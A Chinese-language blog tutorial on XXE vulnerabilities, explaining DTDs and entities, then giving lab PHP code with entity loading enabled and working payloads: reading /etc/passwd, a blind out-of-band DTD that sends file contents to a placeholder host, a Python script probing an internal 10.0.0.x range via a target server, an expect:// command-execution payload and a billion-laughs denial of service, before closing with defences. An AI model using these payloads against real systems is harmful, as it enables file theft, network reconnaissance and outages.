浅谈xxe漏洞

前言

补基础。

注意事项

php的xml库的底层库是libxml2,而在2.6版本之后,改库已默认禁用外部实体引用的解析
我们可以使用

1
echo LIBXML_DOTTED_VERSION;

如需加载外部实体

1
$dom->loadXML($xml,LIBXML_NOENT);

xml文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD(document type define)文档类型定义

内部声明DTD

1
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD

1
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

通用实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内部实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 参数实体 (Parameter entities)
  • 通用实体 (General entities)

内部实体

1
<!ENTITY 实体名称 "实体的值">

外部实体

1
<!ENTITY 实体名称 SYSTEM "URI">

image.png
image.png

参数实体

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例演示

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

实验一(有回显)

1
2
3
4
5
6
7
8
9
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;t
?>
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>

image.png

实验二(无回显)

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

image.png
天知道我为什么复现不了

探测内网主机端口等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string

for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

利用 XXE 进行 DOS 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

json转为xml

参考高校运维赛
image.png

xml之xinclude & xslt

参考:浅析xml之xinclude & xslt

xxe漏洞修复与防御

使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。(不推荐)
因为有一个东西叫编码(嘿嘿嘿

1
2
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-7"?>

也可以用xinclude,反正很牛逼就对了
飘零师傅payload

参考

黑夜的猎杀-盲打XXE
一篇文章带你深入理解%20XXE%20漏洞
浅析xml之xinclude & xslt

-------------本文结束感谢您的阅读-------------